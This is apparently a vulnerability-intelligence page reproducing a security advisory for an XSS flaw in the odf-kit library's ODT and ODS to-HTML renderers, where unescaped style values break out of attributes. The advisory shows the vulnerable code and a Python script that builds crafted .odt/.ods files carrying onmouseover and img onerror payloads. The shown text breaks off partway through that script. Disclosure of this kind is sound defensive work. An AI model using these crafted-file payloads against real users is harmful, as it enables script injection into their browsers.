SaibaRadar

CVE-2026-113787 — Vulnerability intelligence

— odf-kit

Published:

CVSS
6.1
CISA KEV
Not listed; not proof of no exploitation

Original source text (not a translation)

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values ### Summary ODF style attribute values are interpolated into `style="..."` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions. ### Details #### ODT renderer (`src/odt/to-html/html-renderer.ts`) The renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not. In `renderTextSpan` (dist/odt/to-html/html-renderer.js:195): ```js const css = spanStyleToCss(span.style); if (css) html = `<span style="${css}">${html}</span>`; ``` The value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early. The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`. #### ODS renderer (`src/ods/to-html/html-renderer.ts`) — same bug `buildInlineStyle()` assembles the CSS string from cell formatting properties — `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. — with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65): ```ts if (includeStyles && cell.formatting) { const style = buildInlineStyle(cell.formatting); if (style) attrs.push(`style="${style}"`); } ``` Additionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95): ```ts const style = includeStyles && row.height ? ` style="height:${row.height}"` : ""; return `<tr class="${prefix}-row"${style}>${cells}</tr>`; ``` The same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected. #### Version scope The `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) — both injections still fire, so no fix has landed past the release. ### PoC Each PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as `build-pocs.py` and run `python3 build-pocs.py`: ```python import zipfile def build(path, mimetype, content): # ODF requires 'mimetype' first and stored uncompressed with zipfile.ZipFile(path, "w") as z: z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED) z.writestr("META-INF/manifest.xml", '<?xml version="1.0" encoding="UTF-8"?>\n' '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n' ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n' ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n' '</manifest:manifest>\n') z.writestr("content.xml", content) ODT = "application/vnd.oasis.opendocument.text" ODS = "application/vnd.oasis.opendocument.spreadsheet" HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n' '<office:document-content\n' ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n' ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n' ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n' ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">') Q = "&quot;" p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection p2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}' # full markup injection # .odt: one paragraph with a poisoned automatic text style def odt(p): return (HEAD + '\n<office:automatic-styles>\n' ' <style:style style:family="paragraph" style:name="P1">\n' f' <style:text-properties fo:color="{p}"/>\n' ' </style:style>\n</office:automatic-styles>\n' '<office:body><office:text><text:p text:style-name="P1">hel

Sources